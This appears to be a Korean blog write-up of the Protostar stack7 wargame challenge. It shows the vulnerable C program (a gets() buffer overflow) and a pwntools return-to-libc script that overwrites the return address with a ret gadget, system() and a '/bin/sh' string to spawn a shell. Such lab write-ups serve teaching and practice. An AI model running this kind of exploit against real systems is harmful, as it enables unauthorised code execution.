Protostar -stack7- ROP 공격기법
2023. 3. 5. 14:16ㆍPwnable/프로토스타_시스템해킹
stack7 의 소스코드는 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
해당 문제는 ROP 공격 기법을 통해 풀어낼 수 있다.
우선 main 에서 RET 까지 오프셋을 구해보자.
libc.so.6 에서 binsh 와 system 에 주소를 불러와 RET에 OVER right 하는게 핵심 풀이 방법이다.
그렇게 작성한 페이로드는 다음과 같다.
from pwn import *
p = process('./stack7')
offset = 80
ret = p32(0x8048362)
binsh = p32(0xf7db5faa)
trash = p32(0xAAAABBBB)
systme = p32(0xf7c4c800)
payload = b'A' * offset + ret + systme +trash + binsh
p.sendline(payload)
p.interactive()
RET 값에는 그대로 덮고 이후 system + dummy + binsh 를 통해 쉘을 실행시키는 구조다.
해당 페이로드를 전송하면 쉘을 획득할 수 있다.
야호 성공이다 !
'Pwnable > 프로토스타_시스템해킹' 카테고리의 다른 글
Protostar -stack 4 - (0) | 2023.02.13 |
---|---|
Protostar stack-3 |실행 흐름 변조| (0) | 2023.02.03 |
Protostar stack-2 (0) | 2023.02.01 |
Protostar-Stack1 (Buffer Over flow) (0) | 2023.01.23 |
Protostar-Stack0 (Buffer Over Flow 공격) (0) | 2023.01.21 |